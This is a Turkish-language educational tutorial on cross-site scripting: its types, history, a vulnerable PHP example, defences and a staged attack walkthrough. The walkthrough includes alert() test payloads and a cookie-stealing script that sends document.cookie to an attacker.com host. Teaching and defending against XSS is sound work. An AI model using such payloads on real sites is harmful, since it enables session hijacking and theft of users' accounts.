xss

 

🧠 XSS (Cross-Site Scripting) Nedir?

XSS, yani Cross-Site Scripting, saldırganın bir web sitesine kötü niyetli JavaScript kodu enjekte etmesi ve bu kodun başka kullanıcıların tarayıcılarında çalıştırılmasıdır. Amaç genellikle:

  • Çerez çalmak (session hijacking)

  • Sahte formlar göstermek (phishing)

  • Keylogger ile veri toplamak

  • DOM'u manipüle etmek

XSS, client-side yani tarayıcı taraflı bir güvenlik açığıdır.


🕰️ Tarihçesi

  • İlk tanımı: 1990'ların sonunda Netscape tarayıcısıyla birlikte dikkat çekti.

  • 2000'ler: MySpace, Yahoo, Hotmail gibi platformlarda büyük açıklar ortaya çıktı.

  • 2005 - MySpace "Samy Worm": XSS’in en meşhur örneğidir. Samy Kamkar adlı bir kullanıcı, profiline zararlı JavaScript koydu, profili ziyaret edenlerin otomatik olarak arkadaş olması sağlandı. 24 saat içinde 1 milyondan fazla kullanıcı etkilendi.

  • Bugüne kadar: XSS, OWASP Top 10 listesinde her zaman ilk 5 içerisindedir.


⚙️ XSS Nasıl Gerçekleşir?

1. Input → No Filtering → Output

Bir web uygulaması, kullanıcıdan gelen veriyi filtrelemeden HTML içinde gösterirse, bu açık ortaya çıkar.

2. Kötü Amaçlı JavaScript Gömülür

html

<script>alert('XSS');</script>

3. Kurban Tarayıcısı Bu Kodu Çalıştırır

Tarayıcı bu kodu sanki site sahibinin koyduğu gibi algılar ve çalıştırır.


🔥 XSS Türleri

TürAçıklamaÖrnek
Stored XSSZararlı kod veritabanına kaydedilir ve her ziyaretçiye gösterilir.Forum, yorum bölümü
Reflected XSSKod URL ile gönderilir, yanıt içinde geri döner.Arama kutusu, GET parametreleri
DOM-Based XSSJavaScript DOM üzerinden çalıştırılır, sunucu tarafı değil tarayıcıda olur.location.hash, innerHTML kullanımı

🎯 Örnek – Reflected XSS

php

<?php echo "Merhaba " . $_GET['isim']; ?>

URL:

php-template

http://site.com/?isim=<script>alert('XSS')</script>

🔒 Korunma Yolları

  • Output encoding: htmlspecialchars() (PHP), textContent (JS)

  • Input validation: Girişte sadece beklenen verileri kabul et

  • Content Security Policy (CSP): Tarayıcıya dış script’lere izin verme

  • HTTPOnly Cookie: JavaScript ile çalınamayan çerezler


💣 Neden Tehlikelidir?

  • Saldırgan kurbanın çerezlerini çalabilir

  • Oturum bilgilerini alıp giriş yapmadan admin olur

  • Sahte formlar ile veri toplayabilir

  • Tarayıcıda keylogger çalıştırabilir


***

💥 1. Aşama: Hedef Belirleme

Saldırgan, bir web uygulamasında girişlerin HTML olarak filtrelenmeden yansıtıldığı alanları arar.

Örnek hedef alanlar:

  • Arama kutuları

  • Yorum bölümleri

  • Profil bilgileri

  • URL parametreleri (GET)

  • İçerik yükleyen formlar


🔎 2. Aşama: Açık Tespiti (Vulnerability Discovery)

Saldırgan, küçük test payload’ları göndererek XSS olup olmadığını test eder.

Payload örneği:

html

<script>alert('XSS')</script>

Test URL'si:

php-template

https://example.com/search?q=<script>alert(1)</script>

Site bu girdiyi encode etmeden geri döndürüyorsa, açıklık var demektir.


📥 3. Aşama: Zararlı Kod Geliştirme

Saldırgan artık basit bir alert yerine daha zararlı bir script yazar:

Örnek zararlı payload:

html

<script> fetch("http://attacker.com/steal?cookie=" + document.cookie) </script>

Bu kod kurbanın tarayıcısından çerezleri çalar ve saldırgana gönderir.


🎯 4. Aşama: Payload’u Yayma (Exploit Etme)

Açığın türüne göre farklı yöntemler uygulanır:

  • Stored XSS: Zararlı kod, yorum olarak siteye kaydedilir. Ziyaret eden herkes etkilenir.

  • Reflected XSS: Saldırgan özel bir link üretir ve kurbana gönderir (e-posta, sosyal medya, DM).

  • DOM-Based XSS: Tarayıcıda çalışan JS kodları DOM’dan input alıyorsa, manipüle edilir.


👥 5. Aşama: Kurbanın Etkilenmesi

Kurban linke tıklar veya sayfayı ziyaret eder, tarayıcı zararlı JavaScript’i çalıştırır.

Sonuçlar:

  • Çerezler çalınır → oturum ele geçirilir

  • Kurban fark etmeden bir form gönderir

  • Keylogger ile yazdıkları izlenir

  • Sayfa DOM'u manipüle edilip sahte içerik gösterilir


📬 6. Aşama: Bilgi Transferi / Saldırı Sonucu

Saldırgan:

  • Kurbanın çerez bilgileriyle admin paneline girer

  • Kullanıcı bilgilerini toplar

  • Phishing ile kredi kartı, şifre vs. toplar


🛡️ Sonuç: Savunma Aşaması

Geliştiricilerin girişleri filtrelemesi, çıktıları encode etmesi, CSP uygulaması, HTTPOnly çerezler kullanması bu süreci durdurabilir.